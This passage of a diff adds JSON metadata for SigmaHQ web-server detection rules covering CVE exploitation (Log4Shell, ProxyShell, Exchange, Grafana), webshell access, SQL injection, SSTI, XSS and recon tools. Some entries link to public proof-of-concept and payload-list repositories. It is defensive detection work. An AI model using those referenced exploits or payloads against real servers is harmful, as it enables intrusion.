"https://github.com/WickdDavid/CVE-2021-26814/blob/6a17355a10ec4db771d0f112cbe031e418d829d5/PoC.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26814_wzuh_rce.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2021.21978", + "cve.2021.26814" + ], + "creation_date": "2021/05/22", + "filename": "web_cve_2021_26814_wzuh_rce.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories", + "uuid": "effee1f6-a932-4297-a81f-acb44064fa3a", + "value": "ProxyLogon Reset Virtual Directories Based On IIS Log", + "meta": { + "refs": [ + "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26858_iis_rce.yml" + ], + "tags": "No established tags", + "creation_date": "2021/08/10", + "filename": "web_cve_2021_26858_iis_rce.yml", + "author": "frack113", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "webserver", + "logsource.product": "windows" + } + }, + { + "description": "Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480", + "uuid": "a2a9d722-0acb-4096-bccc-daaf91a5037b", + "value": "Exchange Exploitation CVE-2021-28480", + "meta": { + "refs": [ + "https://twitter.com/GossiTheDog/status/1392965209132871683?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_28480_exchange_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/05/14", + "filename": "web_cve_2021_28480_exchange_exploit.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766", + "uuid": "56973b50-3382-4b56-bdf5-f51a3183797a", + "value": "CVE-2021-33766 Exchange ProxyToken Exploitation", + "meta": { + "refs": [ + "https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_33766_msexchange_proxytoken.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/08/30", + "filename": "web_cve_2021_33766_msexchange_proxytoken.yml", + "author": "Florian Roth, Max Altgelt, Christian Burkard", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539", + "uuid": "6702b13c-e421-44cc-ab33-42cc25570f11", + "value": "ADSelfService Exploitation", + "meta": { + "refs": [ + "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_adselfservice.yml" + ], + "tags": "No established tags", + "creation_date": "2021/09/20", + "filename": "web_cve_2021_40539_adselfservice.yml", + "author": "Tobias Michalski, Max Altgelt", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).", + "uuid": "fcbb4a77-f368-4945-b046-4499a1da69d1", + "value": "CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit", + "meta": { + "refs": [ + "https://therecord.media/cisa-warns-of-zoho-server-zero-day-exploited-in-the-wild/", + "https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html", + "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_manageengine_adselfservice_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2021/09/10", + "filename": "web_cve_2021_40539_manageengine_adselfservice_exploit.yml", + "author": "Sittikorn S, Nuttakorn Tungpoonsup", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49.\nAn attacker could use a path traversal attack to map URLs to files outside the expected document root.\nIf files outside of the document root are not protected by \"require all denied\" these requests can succeed.\nAdditionally this flaw could leak the source of interpreted files like CGI scripts.\nThis issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.\n", + "uuid": "3007fec6-e761-4319-91af-e32e20ac43f5", + "value": "CVE-2021-41773 Exploitation Attempt", + "meta": { + "refs": [ + "https://nvd.nist.gov/vuln/detail/CVE-2021-41773", + "https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782", + "https://twitter.com/ptswarm/status/1445376079548624899", + "https://twitter.com/h4x0r_dz/status/1445401960371429381", + "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/cves/2021/CVE-2021-41773.yaml", + "https://twitter.com/bl4sty/status/1445462677824761878", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_41773_apache_path_traversal.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/10/05", + "filename": "web_cve_2021_41773_apache_path_traversal.yml", + "author": "daffainfo, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx", + "uuid": "20c6ed1c-f7f0-4ea3-aa65-4f198e6acb0f", + "value": "Sitecore Pre-Auth RCE CVE-2021-42237", + "meta": { + "refs": [ + "https://blog.assetnote.io/2021/11/02/sitecore-rce/", + "https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_42237_sitecore_report_ashx.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/11/17", + "filename": "web_cve_2021_42237_sitecore_report_ashx.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Vulnerability Scanning" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a successful Grafana path traversal exploitation", + "uuid": "7b72b328-5708-414f-9a2a-6a6867c26e16", + "value": "Grafana Path Traversal Exploitation CVE-2021-43798", + "meta": { + "refs": [ + "https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/", + "https://github.com/search?q=CVE-2021-43798", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_43798_grafana.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/12/08", + "filename": "web_cve_2021_43798_grafana.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Vulnerability scanners that scan a host that returns 200 status codes even in cases of a file not found or other error" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)", + "uuid": "5ea8faa8-db8b-45be-89b0-151b84c82702", + "value": "Log4j RCE CVE-2021-44228 Generic", + "meta": { + "refs": [ + "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://news.ycombinator.com/item?id=29504755", + "https://github.com/tangxiaofeng7/apache-log4j-poc", + "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", + "https://github.com/YfryTchsGD/Log4jAttackSurface", + "https://twitter.com/shutingrz/status/1469255861394866177?s=21", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/12/10", + "filename": "web_cve_2021_44228_log4j.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Vulnerability scanning" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)", + "uuid": "9be472ed-893c-4ec0-94da-312d2765f654", + "value": "Log4j RCE CVE-2021-44228 in Fields", + "meta": { + "refs": [ + "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://news.ycombinator.com/item?id=29504755", + "https://github.com/tangxiaofeng7/apache-log4j-poc", + "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", + "https://github.com/YfryTchsGD/Log4jAttackSurface", + "https://twitter.com/shutingrz/status/1469255861394866177?s=21", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j_fields.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/12/10", + "filename": "web_cve_2021_44228_log4j_fields.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Vulnerability scanning" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects an attempt to leverage the vulnerable servlet \"mboximport\" for an unauthenticated remote command injection", + "uuid": "dd218fb6-4d02-42dc-85f0-a0a376072efd", + "value": "Zimbra Collaboration Suite Email Server Unauthenticated RCE", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/", + "https://www.yang99.top/index.php/archives/82/", + "https://github.com/vnhacker1337/CVE-2022-27925-PoC", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_27925_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2022.27925" + ], + "creation_date": "2022/08/17", + "filename": "web_cve_2022_27925_exploit.yml", + "author": "@gott_cyber", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656\nVMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users.\nA malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.\n", + "uuid": "fcf1101d-07c9-49b2-ad81-7e421ff96d80", + "value": "CVE-2022-31656 VMware Workspace ONE Access Auth Bypass", + "meta": { + "refs": [ + "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_31656_auth_bypass.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2022/08/12", + "filename": "web_cve_2022_31656_auth_bypass.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Vulnerability scanners" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659", + "uuid": "efdb2003-a922-48aa-8f37-8b80021a9706", + "value": "CVE-2022-31659 VMware Workspace ONE Access RCE", + "meta": { + "refs": [ + "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_31659_vmware_rce.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2022/08/12", + "filename": "web_cve_2022_31659_vmware_rce.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Vulnerability scanners", + "Legitimate access to the URI" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective", + "uuid": "1a9a04fd-02d1-465c-abad-d733fd409f9c", + "value": "Apache Spark Shell Command Injection - Weblogs", + "meta": { + "refs": [ + "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", + "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", + "https://github.com/apache/spark/pull/36315/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_33891_spark_shell_command_injection.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2022.33891" + ], + "creation_date": "2022/07/19", + "filename": "web_cve_2022_33891_spark_shell_command_injection.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Web vulnerability scanners" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804", + "uuid": "65c0a0ab-d675-4441-bd6b-d3db226a2685", + "value": "Atlassian Bitbucket Command Injection Via Archive API", + "meta": { + "refs": [ + "https://twitter.com/_0xf4n9x_/status/1572052954538192901", + "https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/", + "https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html", + "https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_36804_atlassian_bitbucket_command_injection.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2022.36804" + ], + "creation_date": "2022/09/29", + "filename": "web_cve_2022_36804_atlassian_bitbucket_command_injection.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Web vulnerability scanners" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity", + "uuid": "67bce556-312f-4c81-9162-c3c9ff2599b2", + "value": "Exchange Exploitation Used by HAFNIUM", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_exploitation_hafnium.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/03/03", + "filename": "web_exchange_exploitation_hafnium.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate access to other web applications that use the same folder names as Exchange (e.g. owa, ecp) but are not Microsoft Exchange related" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful)", + "uuid": "23eee45e-933b-49f9-ae1b-df706d2d52ef", + "value": "Exchange ProxyShell Pattern", + "meta": { + "refs": [ + "https://youtu.be/5mqid-7zp8k?t=2231", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/08/07", + "filename": "web_exchange_proxyshell.yml", + "author": "Florian Roth, Rich Warren", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers", + "uuid": "992be1eb-e5da-437e-9a54-6d13b57bb4d8", + "value": "Successful Exchange ProxyShell Attack", + "meta": { + "refs": [ + "https://youtu.be/5mqid-7zp8k?t=2231", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell_successful.yml" + ], + "tags": [ + "attack.initial_access" + ], + "creation_date": "2021/08/09", + "filename": "web_exchange_proxyshell_successful.yml", + "author": "Florian Roth, Rich Warren", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol \"~\"", + "uuid": "7cb02516-6d95-4ffc-8eee-162075e111ac", + "value": "Successful IIS Shortname Fuzzing Scan", + "meta": { + "refs": [ + "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/fuzzing/iis-shortname.yaml", + "https://www.exploit-db.com/exploits/19525", + "https://github.com/lijiejie/IIS_shortname_Scanner", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_iis_tilt_shortname_scan.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/10/06", + "filename": "web_iis_tilt_shortname_scan.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects possible Java payloads in web access logs", + "uuid": "583aa0a2-30b1-4d62-8bf3-ab73689efe6c", + "value": "Java Payload Strings", + "meta": { + "refs": [ + "https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/", + "https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/", + "https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md", + "https://twitter.com/httpvoid0x2f/status/1532924261035384832", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_java_payload_in_access_logs.yml" + ], + "tags": [ + "cve.2022.26134", + "cve.2021.26084" + ], + "creation_date": "2022/06/04", + "filename": "web_java_payload_in_access_logs.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate apps" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempt using the JDNIExploiit Kit", + "uuid": "412d55bc-7737-4d25-9542-5b396867ce55", + "value": "JNDIExploit Pattern", + "meta": { + "refs": [ + "https://github.com/pimps/JNDI-Exploit-Kit", + "https://githubmemory.com/repo/FunctFan/JNDIExploit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_jndi_exploit.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/12", + "filename": "web_jndi_exploit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate apps the use these paths" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects possible exploitation activity or bugs in a web application", + "uuid": "6fdfc796-06b3-46e8-af08-58f3505318af", + "value": "Multiple Suspicious Resp Codes Caused by Single Client", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_multiple_susp_resp_codes_single_source.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/02/19", + "filename": "web_multiple_susp_resp_codes_single_source.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Unstable application", + "Application that misuses the response codes" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.", + "uuid": "59ec40bb-322e-40ab-808d-84fa690d7e56", + "value": "Nginx Core Dump", + "meta": { + "refs": [ + "https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps", + "https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_nginx_core_dump.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499.004" + ], + "creation_date": "2021/05/31", + "filename": "web_nginx_core_dump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Serious issues with a configuration or plugin" + ], + "logsource.category": "No established category", + "logsource.product": "No established product" + } + }, + { + "description": "Detects path traversal exploitation attempts", + "uuid": "7745c2ea-24a5-4290-b680-04359cb84b35", + "value": "Path Traversal Exploitation Attempts", + "meta": { + "refs": [ + "https://github.com/projectdiscovery/nuclei-templates", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_path_traversal_exploitation_attempt.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/09/25", + "filename": "web_path_traversal_exploitation_attempt.yml", + "author": "Subhash Popuri (@pbssubhash), Florian Roth (generalisation)", + "level": "medium", + "falsepositive": [ + "Happens all the time on systems exposed to the Internet", + "Internal vulnerability scanners" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects access to SUPERNOVA webshell as described in Guidepoint report", + "uuid": "a2cee20b-eacc-459f-861d-c02e5d12f1db", + "value": "Solarwinds SUPERNOVA Webshell Access", + "meta": { + "refs": [ + "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", + "https://www.anquanke.com/post/id/226029", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_solarwinds_supernova_webshell.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2020/12/17", + "filename": "web_solarwinds_supernova_webshell.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempts of the SonicWall Jarrewrite Exploit", + "uuid": "6f55f047-112b-4101-ad32-43913f52db46", + "value": "SonicWall SSL/VPN Jarrewrite Exploit", + "meta": { + "refs": [ + "https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sonicwall_jarrewrite_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access" + ], + "creation_date": "2021/01/25", + "filename": "web_sonicwall_jarrewrite_exploit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects source code enumeration that use GET requests by keyword searches in URL strings", + "uuid": "953d460b-f810-420a-97a2-cfca4c98e602", + "value": "Source Code Enumeration Detection by Keyword", + "meta": { + "refs": [ + "https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html", + "https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_source_code_enumeration.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2019/06/08", + "filename": "web_source_code_enumeration.yml", + "author": "James Ahearn", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects SQL Injection attempts via GET requests in access logs", + "uuid": "5513deaf-f49a-46c2-a6c8-3f111b5cb453", + "value": "SQL Injection Strings", + "meta": { + "refs": [ + "https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/", + "https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/", + "https://brightsec.com/blog/sql-injection-payloads/", + "https://github.com/payloadbox/sql-injection-payload-list", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sql_injection_in_access_logs.yml" + ], + "tags": "No established tags", + "creation_date": "2020/02/22", + "filename": "web_sql_injection_in_access_logs.yml", + "author": "Saw Win Naung, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Java scripts and CSS Files", + "User searches in search boxes of the respective website", + "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects SSTI attempts sent via GET requests in access logs", + "uuid": "ada3bc4f-f0fd-42b9-ba91-e105e8af7342", + "value": "Server Side Template Injection Strings", + "meta": { + "refs": [ + "https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection", + "https://github.com/payloadbox/ssti-payloads", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_ssti_in_access_logs.yml" + ], + "tags": "No established tags", + "creation_date": "2022/06/14", + "filename": "web_ssti_in_access_logs.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "User searches in search boxes of the respective website", + "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects known suspicious (default) user-agents related to scanning/recon tools", + "uuid": "19aa4f58-94ca-45ff-bc34-92e533c0994a", + "value": "Suspicious User-Agents Related To Recon Tools", + "meta": { + "refs": [ + "https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb", + "https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst", + "https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_useragents.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2022/07/19", + "filename": "web_susp_useragents.yml", + "author": "Nasreddine Bencherchali, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious windows strins in URI which could indicate possible exfiltration or webshell communication", + "uuid": "9f6a34b4-2688-4eb7-a7f5-e39fef573d0e", + "value": "Suspicious Windows Strings In URI", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_windows_path_uri.yml" + ], + "tags": [ + "attack.persistence", + "attack.exfiltration", + "attack.t1505.003" + ], + "creation_date": "2022/06/06", + "filename": "web_susp_windows_path_uri.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate application and websites that use windows paths in their URL" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects access to DEWMODE webshell as described in FIREEYE report", + "uuid": "fdf96c90-42d5-4406-8a9c-14a2c9a016b5", + "value": "DEWMODE Webshell Access", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_unc2546_dewmode_php_webshell.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2021/02/22", + "filename": "web_unc2546_dewmode_php_webshell.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.", + "uuid": "2ea44a60-cfda-11ea-87d0-0242ac130003", + "value": "Webshell ReGeorg Detection Via Web Logs", + "meta": { + "refs": [ + "https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3", + "https://github.com/sensepost/reGeorg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_webshell_regeorg.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2020/08/04", + "filename": "web_webshell_regeorg.yml", + "author": "Cian Heasley", + "level": "high", + "falsepositive": [ + "Web applications that use the same URL parameters as ReGeorg" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects Windows Webshells that use GET requests via access logs", + "uuid": "7ff9db12-1b94-4a79-ba68-a2402c5d6729", + "value": "Windows Webshell Strings", + "meta": { + "refs": [ + "https://bad-jubies.github.io/RCE-NOW-WHAT/", + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_win_webshells_in_access_logs.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2017/02/19", + "filename": "web_win_webshells_in_access_logs.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Web sites like wikis with articles on os commands and pages that include the os commands in the URLs", + "User searches in search boxes of the respective website" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects XSS attempts injected via GET requests in access logs", + "uuid": "65354b83-a2ea-4ea6-8414-3ab38be0d409", + "value": "Cross Site Scripting Strings", + "meta": { + "refs": [ + "https://github.com/payloadbox/xss-payload-list", + "https://portswigger.net/web-security/cross-site-scripting/contexts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_xss_in_access_logs.yml" + ], + "tags": "No established tags", + "creation_date": "2021/08/15", + "filename": "web_xss_in_access_logs.yml", + "author": "Saw Win Naung, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "JavaScripts,CSS Files and PNG files", + "User searches in search boxes of the respective website", + "Internal 